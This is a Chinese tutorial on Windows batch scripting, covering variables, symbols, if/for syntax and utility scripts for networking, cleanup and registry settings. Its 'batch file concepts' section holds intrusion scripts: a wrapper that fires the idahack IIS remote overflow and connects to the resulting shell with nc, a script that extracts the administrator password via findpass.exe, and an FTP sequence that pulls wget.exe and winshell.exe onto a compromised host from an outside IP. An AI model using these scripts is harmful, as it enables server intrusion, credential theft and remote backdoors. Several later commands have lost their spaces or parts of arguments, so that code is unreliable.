簡單程式
可以通過條件語句(if)和流程控制語句(goto)來控制命令運行的流程,在批處理中也可以使用循環語句(for)來
循環執行一條命令。當然,批處理檔案的編程能力與C語言等編程語句比起來是十分有限的,也是十分不規範的。批處理的程式語句就是一條條的DOS命令(包括內部命令和外部命令),而批處理的能力主要取決於你所使用的命令。第三,每個編寫好的批處理檔案都相當於一個DOS的外部命令你可以把它所在的目錄放到你的DOS搜尋路徑變數%path%(詳見後面)中來使得它可以在任意位置運行。一個良好的習慣是在硬碟上建立一個bat或者batch目錄(例如C:\BATCH),然後將所有你編寫的批處理檔案放到該目錄中,這樣只要在path中設定上c:\batch,你就可以在任意位置運行所有你編寫的批處理程式。
作用
簡單的說,批處理的作用就是自動的連續執行多條命令。
這裡先講一個最簡單的套用:在啟動wps軟體時,每次都必須執行(>前面內容表示DOS提示符):
C:\>cd wps
C:\WPS>spdos
C:\WPS>py
C:\WPS>wbx
C:\WPS>wps
如果每次用WPS之前都這樣執行一遍,您是不是覺得很麻煩呢?
好了,用批處理,就可以實現將這些麻煩的操作簡單化,首先我們編寫一個runwps.bat批處理檔案,內容如下:
@echo off
c:
cd\wps
spdos
py
wbx
wps
cd\
以後,我們每次進入wps,只需要運行runwps這個批處理檔案即可。
變數
變數的類型
批處理中的變數基本上是萬能的,可以儲存各種各樣的數據,不過用來計算時你會發現變數類型轉為了int,所以範圍為[-2147483648,2147483647],如果不拿來計算的話,似乎數萬位也是可以的。
變數的命名
批處理的變數命名沒有什麼限制。不過建議命名還是遵守標準的命名方法,不然
@Echo Off
Set IF=Set
%IF% lF=Goto
:IF
IF %IF%==IF %lF% IF
會出現這樣的代碼。
變數的擴展
擴展,你可以理解為顯示出這個的值,如果你想要使用這個變數的值一般情況下都要擴展
擴展方式:%變數%或!變數!
其中!變數!是延遲擴展,需要加上SetLocal EnableDelayedExpansion語句才能夠實現,延遲擴展對於新手來說是一個很難理解的東西,就這么說吧,當你的變數在一個語句的內部受到了改變,而在這個改變之後又要輸出,那么你必須要延遲擴展,這個牽扯到了奇奇怪怪的預處理機制,不詳解了.用連線符號連起來的語句,if,for和它們後面括弧內的內容都是屬於一個語句
例:
@echo off
set num=10
set num=100&echo %num%
echo %num%
echo 雖然已經將num的值更改為100,但由於沒有延遲擴展,所以值仍為10,不過在下一個語句num的值就改變了
pause>nul
例:
@echo off
SetLocal EnableDelayedExpansion
set num=10
set num=100&echo !num!
echo 現在兩個num的值一樣了
echo %num%
pause>nul
變數在擴展過程中還可以做一點手腳
例:
set str=1234567890
echo %str:~0,5%
echo %str:~1,5%
echo %str:~-5%
echo %str:~5,-2%
echo %str:7890=54321%
pause>nul
很神奇吧?這就是對字元串的處理,具體的用法在這裡不詳解了
關於參數
參數在批處理的表達是%0,%1,%2....%9 ,以及全部參數%*(不包括%0)
%0的初始量是批處理本身路徑,類似%~f0
一般你只能取前九個參數,除非你使用%*
shift命令允許你獲取後面的參數
格式:shift [/n]
n為1~8的數
shift 會使%0變成%1,%1變成%2……%9變成原來的第10個參數(不推薦)
一般使用shift /1,將會從%1開始替換,保留原%0
注意:call標籤時參數也是可用的,而且當返回時參數將變回原來的
例子:
@echo off
call :標籤 arg1 arg2
echo %1
::會顯示回顯已打開
echo %2
exit
:標籤
echo %1
::這時會顯示arg1
echo %2
::這時會顯示arg2
exit /b
特殊符號
@-隱藏命令
開啟了echo off能夠起到隱藏命令的效果,而@同樣能起到這個效果,只不過需要在每條命令前面都加一個...
&&,||-判斷
還記得用if errorlevel來判斷命令成功與否嗎?&&和||同樣能起到這個效果,&&表示前面的命令成功以後執行後面的命令,||反之
例:
@echo;>>%SystemRoot%\system32\test.txt&&echo 成功!||echo 失敗
@pause>nul
|-管道
將前一個命令執行的結果傳送給後一個命令
例:
@echo 你好|find "你"
@tasklist|find "exe"
&-分行符
可以把幾個命令寫在同一行
例:
@echo 123&@echo 456
pause>nul
^-分行與轉義符
1.分行
可以把一個命令寫成多行喔
例:
@echo 1^
2^
3^
4
@pause>nul
複製上面的命令,執行結果是什麼?這就是分行符的作用
2.轉義
當我們試圖輸出一個&的時候,我們會發現輸出不了...因為它被當成分行符處理了
這時就要請出轉義符^了,它可以剝奪後面第一個符號的特殊地位,變為普通符號(這其實是一個很神奇的功能,之所以神奇...贅不詳述)
例:
@echo ^&
@pause>nul
這樣就輸出了&
另外,當存在a變數(前面set /p a=或set a=給a賦值了)想要輸出%a%,一是可以用轉義符^,還可以:
echo %%a%%
這樣既可將兩個百分號識別為一個,起到了轉義的作用
還有些特殊情況不需要轉義:
echo "0000|000"
用引號括起來可以起到一定的轉義的作用,包括set "a=a的值"等
但特別特殊的情況比如獲取%1時存在轉義符很難處理,沒辦法正常引用
*,?-通配符
啥叫通配符?舉個例子吧,*.jpg表示所有的jpg,*表示所有檔案.現在你明白了嗎? 那"?"有什麼用,*可以為任意字元,但?只表示一個字元,比如?.jpg只表示檔案名稱只有一個的jpg檔案,比如1.jpg,比.jpg什麼
()-括起來
括起來的語句是一個整體
>,>>,<-重定向
echo 123>>one.txt
可以輸出123追加到one.txt中
echo 123>one.txt
可以輸出123復蓋one.txt中原先的內容
nul是一個系統保留字,所以>nul不會輸出到任何檔案,可以起到隱藏命令執行結果的效果
2 >nul可以起到隱藏命令失敗執行結果的效果
<可以從檔案中讀取數據到某個命令中,不過這個命令得等待用戶輸入>
例:
@echo off
echo 123>>00.txt
set /p num=<00.txt
echo 數字是%num%
pause>nul
有些命令不止需要一個>nul,如要連線,需要:>nul 2>nul以此類推
如果前面有數字,需要添加空格
ping >nul 2>nul
=1>nul 2>nul ping
=ping >nul 2>&1.... X>&2 X>&2 X>&3等
nul指空設備,簡單來說就是隱藏輸出。
2>&1 3>&2 可以一直接下去,&1 &2就是引用第一個、第二個等
例子
下面是一個運行於Windows 98(2000,XP)下的autoexec.bat的示例:
@ECHO OFF
PATH C:\WINDOWS;C:\WINDOWS\COMMAND;C:\UCDOS;C:\DOSTools;C:\SYSTOOLS;C:\WINTOOLS;C:\BATCH
LH SMARTDRV.EXE /X
LH DOSKEY點COM /INSERT
LH CTMOUSE.EXE
SET TEMP=D: \TEMP
SET TMP=D:\TEMP
常用命令返回值
backup
備份成功
未找到備份檔案
檔案共享衝突阻止備份完成
用戶用ctrl-c中止備份
由於致命的錯誤使備份操作中止
diskcomp
盤比較相同
盤比較不同
用戶通過ctrl-c中止比較操作
由於致命的錯誤使比較操作中止
預置錯誤中止比較
diskcopy
盤拷貝操作成功
非致命盤讀/寫錯
用戶通過ctrl-c結束拷貝操作
因致命的處理錯誤使盤拷貝中止
預置錯誤阻止拷貝操作
format
格式化成功
用戶通過ctrl-c中止格式化處理
因致命的處理錯誤使格式化中止
在提示“proceed with format(y/n)?”下用戶鍵入n結束
xcopy
成功拷貝檔案
未找到拷貝檔案
用戶通過ctrl-c中止拷貝操作
預置錯誤阻止檔案拷貝操作
拷貝過程中寫盤錯誤
批處理技巧
文章結構
1. 所有內置命令的幫助信息
2. 環境變數的概念
3. 內置的特殊符號(實際使用中間注意避開)
4. 簡單批處理檔案概念
5. 附屬檔案1 tmp.txt
6. 附屬檔案2 sample.bat
命令幫助
ver
cmd /?
set /?
rem /?
if /?
echo /?
goto /?
for /?
shift /?
call /?
其他需要的常用命令
type /?
find /?
findstr /?
copy /?
下面將所有上面的幫助輸出到一個檔案
echo ver >tmp.txt
ver >>tmp.txt
echo cmd /? >>tmp.txt
cmd /? >>tmp.txt
echo rem /? >>tmp.txt
rem /? >>tmp.txt
echo if /? >>tmp.txt
if /? >>tmp.txt
echo goto /? >>tmp.txt
goto /? >>tmp.txt
echo for /? >>tmp.txt
for /? >>tmp.txt
echo shift /? >>tmp.txt
shift /? >>tmp.txt
echo call /? >>tmp.txt
call /? >>tmp.txt
echo type /? >>tmp.txt
type /? >>tmp.txt
echo find /? >>tmp.txt
find /? >>tmp.txt
echo findstr /? >>tmp.txt
findstr /? >>tmp.txt
echo copy /? >>tmp.txt
copy /? >>tmp.txt
type tmp.txt
#############################
環境變數的概念
#############################
C:\Program Files>set
ALLUSERSPROFILE=C:\Documents and Settings\All Users
CommonProgramFiles=C:\Program Files\Common Files
COMPUTERNAME=FIRST
ComSpec=C:\WINNT\system32\cmd.exe
NUMBER_OF_PROCESSORS=1
OS=Windows_NT
Os2LibPath=C:\WINNT\system32\os2\dll;
Path=C:\WINNT\system32;C:\WINNT;C:\WINNT\system32\WBEM
PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH
PROCESSOR_ARCHITECTURE=x86
PROCESSOR_IDENTIFIER=x86 Family 6 Model 6 Stepping 5, GenuineIntel
PROCESSOR_LEVEL=6
PROCESSOR_REVISION=0605
ProgramFiles=C:\Program Files
PROMPT=$P$G
SystemDrive=C:
SystemRoot=C:\WINNT
TEMP=C:\WINNT\TEMP
TMP=C:\WINNT\TEMP
USERPROFILE=C:\Documents and Settings\Default User
windir=C:\WINNT
path: 表示可執行程式的搜尋路徑. 我的建議是你把你的程式copy 到
%windir%\system32\. 這個目錄裡面. 一般就可以自動搜尋到.
語法: copy mychenxu.exe %windir%\system32\.
使用點(.) 便於一目了然
對環境變數的引用使用(英文模式,半角)雙引號
%windir% 變數
%%windir%% 二次變數引用.
我們常用的還有
%temp% 臨時檔案目錄
%windir% 系統目錄
%errorlevel% 退出代碼
輸出檔案到臨時檔案目錄裡面.這樣便於當前目錄整潔.
對有空格的參數. 你應該學會使用雙引號("") 來表示比如對porgram file資料夾操作
C:\>dir p*
C:\ 的目錄
2000-09-02 11:47 2,164 PDOS.DEF
1999-01-03 00:47
Program Files
1 個檔案 2,164 位元組
1 個目錄 1,505,997,824 可用位元組
C:\>cd pro*
C:\Program Files>
C:\>
C:\>cd "Program Files"
C:\Program Files>
內置的特殊符號
微軟裡面內置了下列字元不能夠在創建的檔案名稱中間使用
con nul aux \ / | || && ^ >< *
You can use most characters as variable values, including white space. If you use the special characters <, >, |, &, or ^, you must precede them with the escape character (^) or quotation marks. If you use quotation marks, they are included as part of the value because everything following the equal sign is taken as the value. Consider the following examples:
(大意: 要么你使用^作為前導字元表示.或者就只有使用雙引號""了)
To create the variable value new&name, type:
set varname=new^&name
To create the variable value "new&name", type:
set varname="new&name"
The ampersand (&), pipe (|), and parentheses ( ) are special characters that must be preceded by the escape character (^) or quotation marks when you pass them as arguments.
find "Pacific Rim" < trade.txt > nwtrade.txt
IF EXIST filename. (del filename.) ELSE echo filename. missing
> 創建一個檔案
>> 追加到一個檔案後面
@ 前綴字元.表示執行時本行在cmd裡面不顯示, 可以使用 echo off關閉顯示
^ 對特殊符號( >< &)的前導字元. 第一個只是顯示aaa 第二個輸出檔案bbb
echo 123456 ^> aaa
echo 1231231 > bbb
() 包含命令
(echo aa & echo bb)
, 和空格一樣的預設分隔設定號.
; 注釋,表示後面為注釋
: 標號作用
| 管道操作
& Usage:第一條命令 & 第二條命令 [& 第三條命令...]
用這種方法可以同時執行多條命令,而不管命令是否執行成功
dir c:\*.exe & dir d:\*.exe & dir e:\*.exe
&& Usage:第一條命令 && 第二條命令 [&& 第三條命令...]
當碰到執行出錯的命令後將不執行後面的命令,如果一直沒有出錯則一直執行完所有命令;
|| Usage:第一條命令 || 第二條命令 [|| 第三條命令...]
當碰到執行正確的命令後將不執行後面的命令,如果沒有出現正確的命令則一直執行完所有命令;
常用語法格式
IF [NOT] ERRORLEVEL number command para1 para2
IF [NOT] string1==string2 command para1 para2
IF [NOT] EXIST filename command para1 para2
IF EXIST filename command para1 para2
IF NOT EXIST filename command para1 para2
IF "%1"=="" goto END
IF "%1"=="net" goto NET
IF NOT "%2"=="net" goto OTHER
IF ERRORLEVEL 1 command para1 para2
IF NOT ERRORLEVEL 1 command para1 para2
FOR /L %%i IN (start,step,end) DO command [command-parameters] %%i
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do echo %i %j %k
按照字母順序 ijklmnopq依次取參數.
eol=c - 指一個行注釋字元的結尾(就一個)
skip=n - 指在檔案開始時忽略的行數。
delims=xxx - 指分隔設定集。這個替換了空格和跳格鍵的默認分隔設定集。
批處理檔案概念
echo This is test > a.txt
type a.txt
echo This is test 11111 >> a.txt
type a.txt
echo This is test 22222 > a.txt
type a.txt
第二個echo是追加
第三個echo將清空a.txt 重新創建 a.txt
netstat -n | find "3389"
這個將要列出所有連線3389的用戶的ip.
________________test.bat______
@echo please care
echo plese care 1111
echo plese care 2222
echo plese care 3333
@echo please care
@echo plese care 1111
@echo plese care 2222
@echo plese care 3333
rem 不顯示注釋語句,本行顯示
@rem 不顯示注釋語句,本行不顯示
@if exist %windir%\system32\find.exe (echo Find find.exe !!!) else (echo ERROR: Not find find.exe)
@if exist %windir%\system32\fina.exe (echo Find fina.exe !!!) else (echo ERROR: Not find fina.exe)
_____________________________
下面我們以具體的一個idahack程式就是ida遠程溢出為例子.應該是很簡單的.
___________________ida.bat_____
@rem ver 1.0
@if NOT exist %windir%\system32\idahack.exe echo "ERROR: dont find idahack.exe"
@if NOT exist %windir%\system32\nc.exe echo "ERROR: dont find nc.exe"
@if "%1" =="" goto USAGE
@if NOT "%2" =="" goto SP2
:start
@echo Now start ...
@ping %1
@echo chinese win2k:1 sp1:2 sp2:3
idahack.exe %1 80 1 99 >%temp%\_tmp
@echo "prog exit code [%errorlevel%] idahack.exe"
@type %temp%\_tmp
@find "good luck :)" %temp%\_tmp
@echo "prog exit code [%errorlevel%] find [goog luck]"
@if NOT errorlevel 1 nc.exe %1 99
@goto END
:SP2
@idahack.exe %1 80 %2 99 %temp%\_tmp
@type %temp%\_tmp
@find "good luck :)" %temp%\_tmp
@if NOT errorlevel 1 nc.exe %1 99
@goto END
:USAGE
@echo Example: ida.bat IP
@echo Example: ida.bat IP (2,3)
:END
_____________________ida.bat__END_______
下面我們再來第二個檔案.就是得到administrator的口令.
大多數人說得不到.其實是自己的沒有輸入正確的信息.
___________________________fpass.bat____________________________________________
@rem ver 1.0
@if NOT exist %windir%\system32\findpass.exe echo "ERROR: dont find findpass.exe"
@if NOT exist %windir%\system32\pulist.exe echo "ERROR: dont find pulist.exe"
@echo start....
@echo ____________________________________
@if "%1"=="" goto USAGE
@findpass.exe %1 %2 %3 >> %temp%\_findpass.txt
@echo "prog exit code [%errorlevel%] findpass.exe"
@type %temp%\_findpass.txt
@echo ________________________________Here__pass★★★★★★★★
@ipconfig /all >>%temp%\_findpass.txt
@goto END
:USAGE
@pulist.exe >%temp%\_pass.txt
@findstr.exe /i "WINLOGON explorer internat" %temp%\_pass.txt
@echo "Example: fpass.bat %1 %2 %3 %4 !!!"
@echo "Usage: findpass.exe DomainName UserName PID-of-WinLogon"
:END
@echo " fpass.bat %COMPUTERNAME% %USERNAME% administrator "
@echo " fpass.bat end [%errorlevel%] !"
_________________fpass.bat___END___________________________________________________________
還有一個就是已經通過telnet登入了一個遠程主機.怎樣上傳檔案(win)
依次在視窗輸入下面的東西. 當然了也可以全部拷貝.Ctrl+V過去. 然後就等待吧!!
echo open 210.64.x.4 3396>w
echo read>>w
echo read>>w
echo cd winnt>>w
echo binary>>w
echo pwd >>w
echo get wget.exe >>w
echo get winshell.exe >>w
echo get any.exe >>w
echo quit >>w
ftp -s:w
___________________________________________________________
語句結構
類似於C語言,批處理也有它的語句結構。批處理的語句結構主要有選擇結構(if語句)、循環結構(for語句)等。
if語句
if語句實現條件判斷,包括字元串比較、存在判斷、定義判斷等。通過條件判斷,if語句即可以實現選擇功能。
1、字元串比較
if語句僅能夠對兩個字元(串)是否相同、先後順序進行判斷等。其命令格式為:
IF [not] string1 compare-op string2 command1 [else command2]
其中,比較操作符compare-op有以下幾類:
== - 等於
EQU - 等於
NEQ - 不等於
LSS - 小於
LEQ - 小於或等於
GTR - 大於
GEQ - 大於或等於
選擇開關/i則不區分字元串大小寫;選擇not項,則對判斷結果進行邏輯非。
字元串比較示例:
===============================================
@echo off
set str1=abcd1233
set str2=ABCD1234
if %str1%==%str2% (echo 字元串相同!) else (echo 字元串不相同!)
if /i %str1% LSS %str2% (echo str1^=str2)
echo.
set /p choice=是否顯示當前時間?(y/n)
if /i not %choice% EQU n echo 當前時間是:%date% %time%
pause>nul
===============================================
對於最後一個if判斷,當我們輸入n或N時的效果是一樣的,都不會顯示時間。如果我們取消開關/i,則輸入N時,依舊會顯示時間。
另外請注意一下幾個細節:1-echo str1^=str2;2-echo.。
2、存在判斷
存在判斷的功能是判斷檔案或資料夾是否存在。其命令格式為:
IF [NOT] EXIST filename command1 [else command2]
===============================================
@echo off
if exist %0 echo 檔案%0是存在的!
if not exist %~df0 (
echo 資料夾%~df0不存在!
) else echo 資料夾%~df0存在!
pause>nul
===============================================
這裡注意幾個地方:
1-存在判斷既可以判斷檔案也可以判斷資料夾;
2-%0即代表該批處理的全稱(包括驅動器盤符、路徑、檔案名稱和擴展類型);
3-%~df0是對%0的修正,只保留了其驅動器盤符和路徑,詳情請參考for /?,屬高級批處理範疇;
4-注意if語句的多行書寫,多行書寫要求command1的左括弧必須和if在同一行、else必須和command1的右括弧同行、command2的左括弧必須與else同行、command1和command2都可以有任意多行,即command可以是命令集。
3、定義判斷
定義判斷的功能是判斷變數是否存在,即是否已被定義。其命令格式為:
IF [not] DEFINED variable command1 [else command2]
存在判斷舉例:
===============================================
@echo off
set var=111
if defined var (echo var=%var%) else echo var尚未定義!
set var=
if defined var (echo var=%var%) else echo var尚未定義!
pause>nul
===============================================
對比可知,"set var="可以取消變數,收回變數所占據的記憶體空間。
for語句
for語句可以實現類似於C語言裡面的循環結構,當然for語句的功能要更強大一點,通過不同的開關可以實現更多的功能。for語句有多個開關,不同開關將會實現不同的功能。
1、無開關
無開關的for語句能夠對設定的範圍內進行循環,是最基本的for循環語句。其命令格式為:
FOR %%variable IN (set) DO command
其中,%%variable是批處理程式裡面的書寫格式,在DOS中書寫為%variable,即只有一個百分號(%);set就是需要我們設定的循環範圍,類似於C語言裡面的循環變數;do後面的command就是循環所執行的命令,即循環體。
無開關for語句舉例:
===============================================
@echo off
for %%i in (a,"b c",d) do echo %%i
pause>nul
===============================================
2、開關/L
含開關/L的for語句,可以根據set裡面的設定進行循環,從而實現對循環次數的直接控制。其命令格式為:
FOR /L %%variable IN (start,step,end) DO command
其中,start為開始計數的初始值,step為每次遞增的值,end為結束值。當end小於start時,step需要設定為負數。
含開關/L的for語句舉例(創建5個資料夾):
===============================================
@echo off
for /l %%i in (1,2,10) do md %%i
pause
===============================================
上例將新建5個資料夾,資料夾名稱依次為1、3、5、7、9。可以發現,%%i的結束值並非end的值10,而是不大於end的一個數。
3、開關/F
含開關/F的for語句具有最強大的功能,它能夠對字元串進行操作,也能夠對命令的返回值進行操作,還可以訪問硬碟上的ASCII碼檔案,比如txt文檔等。其命令格式為:
FOR /F ["options"] %%variable IN (set) DO command
其中,set為("string"、'command'、file-set)中的一個;options是(eol=c、skip=n、delims=xxx、tokens=x,y,m-n、usebackq)中的一個或多個的組合。各選項的意義參見for /f。一般情況下,使用較多的是skip、tokens、delims三個選項。
含開關/F的for語句舉例:
===============================================
@echo off
echo **No Options:
for /f %%a in ("1,2,10") do echo a=%%a
echo **Options tokens ^& delims:
for /f "tokens=1-3 delims=," %%a in ("1,2,10") do echo a=%%a b=%%b c=%%c
pause
===============================================
@echo off
echo 本資料夾裡面的檔案有:
for /f "skip=5 tokens=3* delims= " %%a in ('dir') do (
if not "%%a"=="
" if not "%%b"=="位元組" if not "%%b"=="可用位元組" echo %%b
)
pause
===============================================
@echo off
echo 本資料夾裡面的檔案有:
dir>c:\file.txt
for /f "skip=5 tokens=3* delims= " %%a in (c:\file.txt) do (
if not "%%a"=="
" if not "%%b"=="位元組" if not "%%b"=="可用位元組" echo %%b
)
del c:\file.txt
pause
===============================================
對於後面的兩個例子,其中options裡面的delims= 是可以刪除的,因為只要添加了/F開關係統就將delims的值默認為空格。
符號字元串中的最後一個字元星號,
那么額外的變數將在最後一個符號解析之後
分配並接受行的保留文本。本例中也可以改為4,不過檔案名稱中有空格的檔案,只能顯示空格以前部分
同時我們也看到了,for語句的do後面的command也是可以分行的,只需要保證command的左括弧和do在同一行就可以了。
4、開關/D或/R
含開關/D或/R的for語句是與目錄或檔案有關的命令,一般情況下很少使用。含開關/R的命令有時候被用於通過遍歷資料夾來查找某一個檔案或資料夾,故而列舉此例。
含開關/R的for語句舉例(資料夾遍歷):
===============================================
@echo off
setlocal enabledelayedexpansion
FOR /R d: %%i IN (.) DO (
set dd=%%i
set "dd=!dd:~0,-1!"
echo !dd!
)
pause
exit
===============================================
上例即可以羅列出D糟下的所有資料夾,其速度要比命令"tree d:"慢多了,不過其返回結果的實用性則遠遠超過了tree命令。
一般情況下我們不推薦通過遍歷資料夾來查找檔案,特別是在查找某些程式(比如QQ.exe)的位置時。推薦通過reg命令查找註冊表來查找QQ的路徑,以保證查找效率。
上例中也出現了幾個新面孔,如setlocal、感嘆號等。其中,感嘆號其實就是變數百分號(%)的強化版。之所以要用!而不用%,是因為在for循環中,當一個變數被多次賦值時,%dd%所獲取的僅僅是dd第一次被賦予的值;要想刷新dd的值,就必須首先通過命令"setlocal enabledelayedexpansion"來開啟延遲變數開關,然後用!dd!來獲取dd的值。
for語句是批處理裡面功能最強大、使用最普遍卻又最難掌握的一套命令,這也是批處理菜鳥和批處理高手最明顯的一個分水嶺,一旦掌握了這套命令,那么你就離批處理達人不遠了!
代碼示例
修改網路設定
@echo off
::判斷本地連線 賦值a
for /f "tokens=3,4 delims== " %%i in ('ipconfig ^|findstr /r "本"') do echo %%i %%j >DNS.txt
for /f "tokens=1 delims==:" %%d in (DNS.txt) do set a=%%d
echo 請根據實際情況更改下面三行
set slection1=
set/p slection1=請輸入IP位址:
netsh interface ip set address name="%a%" source=static addr=%slection1% mask=255.255.255.0
set slection2=
set/p slection2=請輸入網關地址:
netsh interface ip set address name="%a%" gateway=%slection2% gwmetric=0
set slection3=
set/p slection3=請輸入主dns地址
netsh interface ip set dns name="%a%" source=static addr=%slection3% register=PRIMARY
set slection4=
set/p slection4=請輸入備份dns地址
netsh interface ip add dns name="%a%" addr=%slection4%
netsh interface ip set wins name="%a%" source=static addr=none
del DNS.txt
exit 改完IP後可用這個完成本機ARP的綁定:
@echo off
if exist ipconfig.txt del ipconfig.txt
ipconfig /all >ipconfig.txt
if exist phyaddr.txt del phyaddr.txt
find "Physical Address" ipconfig.txt >phyaddr.txt
for /f "skip=2 tokens=12" %%M in (phyaddr.txt) do set Mac=%%M
if exist IPAddr.txt del IPaddr.txt
find "IP Address" ipconfig.txt >IPAddr.txt
for /f "skip=2 tokens=15" %%I in (IPAddr.txt) do set IP=%%I
arp -s %IP% %Mac%
del ipaddr.txt
del ipconfig.txt
del phyaddr.txt
exit
同時修改IP和MAC地址的小代碼及製作步驟,適合帶本本到處跑的
用於帶著本本到處跑又要改IP的場合!
1:生成 IP配置檔案。
修改你的IP位址配置為某一個配置,例如配置1。修改好:IP,MASK,DNS,GATE等(主要是IP相關的,不需要修改MAC地址)。
然後輸入:
netsh -c interface dump > c:\net1.txt
這裡net1.txt就是你生成的IP配置檔案了!可以改為其它的檔案名稱,比如:實驗室,寢室!
依次生成所有的網路配置的配置檔案,我假設一共生成兩個網路配置分別為net1.txt和net2.txt
2:下載軟體SMAC為修改MAC地址的小軟體僅8K,我已經上傳了。
3:在C糟根目錄下建立一個目錄,把剛才下載的smac.exe,生成的所有的網路配置檔案net1.txt,net2.txt等,等一下要建立的兩個批處理檔案(bat)也都放要放到這裡。我假設為這個目錄是:C:\cmd
4:建立一個批處理檔案,假設為:ToNet1.bat(可以使用記事本編輯,不過注意保存的時候要加上用加上引號的檔案名稱才能保存為ToNet1.bat,否則就是ToNet1.bat.txt)
輸入如下代碼:
smac -modifymac 0 0050BA44D27A
netsh -f net1.txt
net1.txt就是你要設定的某一個網路的配置,0050BA44D27A這個要替換為對應這一個網路配置的MAC地址。另外0050BA44D27A前面的0不可以省略,這個表示網卡(你不會有兩個或者多個網卡吧?如果你有,請注意自己先試一下看是哪一個網卡了:在這個smac程式的readme中有list功能,你可以判斷一下)。
同樣的方法,建立ToNet2.bat,當然修改網路配置檔案為net2.txt和mac地址的屬性了。
把這兩個bat檔案也放到c:\cmd目錄中。
5:然後你可以建立這兩個bat檔案的捷徑,雙擊一下自動更換了!
不過請注意,修改MAC地址可能需要重新啟動一下網卡比較好(禁用再啟用)
清理系統垃圾
命令代碼如下:
@echo off
echo 正在清除系統垃圾檔案,請稍等......
del/f/s/q %systemdrive%\*.tmp
del/f/s/q %systemdrive%\*._mp
del/f/s/q %systemdrive%\*.log
del/f/s/q %systemdrive%\*.gid
del/f/s/q %systemdrive%\*.chk
del/f/s/q %systemdrive%\*.old
del/f/s/q %systemdrive%\recycled\*.*
del/f/s/q %windir%\*.bak
del/f/s/q %windir%\prefetch\*.*
rd/s/q %windir%\temp & md %windir%\temp
del/f /q %userprofile%\cookies\*.*
del/f/q %userprofile%\recent\*.*
del/f/s/q "%userprofile%\Local Settings\Temporary Internet Files\*.*"
del/f/s/q "%userprofile%\Local Settings\Temp\*.*"
del/f/s/q "%userprofile%\recent\*.*"
echo 清除系統垃圾檔案完成!
pause
關機
shutdown-s-t0
運行這個後,立刻關機
想要重啟,就把-s改為-r
鎖定註冊表
regadd
"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\S
ystem"/vDisableRegistryTools/treg_dword/d00000001/f
解鎖註冊表
regadd
"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\S
ystem"/vDisableRegistryTools/treg_dword/d00000000/f
startregedit
顯示隱藏檔案
regadd
"HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced"/v
Hidden/treg_dword/d1/f
regadd
"HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced"/v
HideFileExt/treg_dword/d0/f
regadd
"HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced"/v
ShowSuperHidden/treg_dword/d1/f
鎖定任務管理器
REGADD
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Sy
stem/VDisableTaskMgr/tREG_DWORD/d00000001/f
解鎖任務管理器
REGADD
stem/VDisableTaskMgr/tREG_DWORD/d00000000/f
解釋:這五個都是通過改註冊表做到的。
接下來搞幾個用密碼的。
帶密碼的批處理
@echooff
modeconcols=30lines=4
setb=5
:pwd
titlePassword
set/aa=%a%+1
set/ab=%b%-1
set/ppwd=EnterPassword:
if/I"%pwd%"=="Password"gotomain
if/I"%a%"=="5"gotoerr
echoError%a%times!Youhave%b%timesleftnow.
gotopwd
:err
color40
modeconcols=30lines=2
titleError!
cls
echo.
echoError5times,itwillexit!
ping127.1-n6>nul
exit
:main
modeconcols=30lines=3
echoPasswordright!
pause
cls
gotoprogram
:program
modeconcols=64lines=16
::Yourprogramhere.::
解釋:把第九行的Password改成密碼。
其它
批處理開發工具
1.iBAT
截至到2014.8.9這個工具仍在更新中,第一印象-簡潔!
2.BatProject+DebugBatch
這其實是兩個工具,不過它們的開發者是同一個人,這兩個工具給我的第一印象-強悍!是用來調試錯誤的上上之選,不過因為它太強大了,尤其是DebugBatch採取了注入到進程當中的方法來調試,可以中途修改變數,暫停執行等,所以殺軟會報毒.
第三方
純批處理不是萬能的,而系統內置第三方遠遠滿足不了我們的需要(如果你會debug就當我沒說吧),因此我們需要各種第三方來使我們的批處理變得更強大,在批處理之家有一個第三方收集帖,裡面收集了許多第三方,如果有朋友需要的話可以去那裡淘一淘,接下來我介紹幾個第三方
Tmos.exe-用滑鼠操作命令行
Image.exe-顯示圖片到命令行
CAPI-批處理調用系統API,強大得不能再強大了